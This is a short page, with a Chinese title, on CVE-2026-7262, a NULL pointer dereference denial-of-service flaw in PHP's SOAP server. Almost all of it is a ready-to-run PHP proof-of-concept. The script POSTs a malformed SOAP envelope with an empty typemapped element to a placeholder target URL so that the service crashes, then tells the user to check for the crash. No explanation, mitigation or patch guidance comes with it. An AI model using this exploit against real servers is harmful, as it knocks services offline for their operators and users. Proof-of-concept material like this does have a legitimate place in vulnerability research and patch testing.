CVE-2026-7262 PHP SOAP服务空指针解引用DoS漏洞

<?php // PoC for CVE-2026-7262 // Target: PHP SOAP Server with typemap configured // Description: Sends a SOAP request with a missing value element to trigger NULL pointer dereference. $url = "http://target-host/soap.php"; $action = "http://test-uri/#test"; // Malformed XML payload with missing value element for a typemap entry $payload = <<<XML <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://test-uri/"> <SOAP-ENV:Body> <ns1:triggerCrash> <!-- Element expected by typemap but value is missing --> <mappedType/> </ns1:triggerCrash> </SOAP-ENV:Body> </SOAP-ENV:Envelope> XML; $headers = [ "Content-Type: text/xml; charset=\"utf-8\"", "SOAPAction: \"$action\"", "Content-Length: " . strlen($payload) ]; $ch = curl_init($url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); // If successful, the target process will crash and no response will be returned echo "PoC sent. Check if the target service crashed.\n"; ?>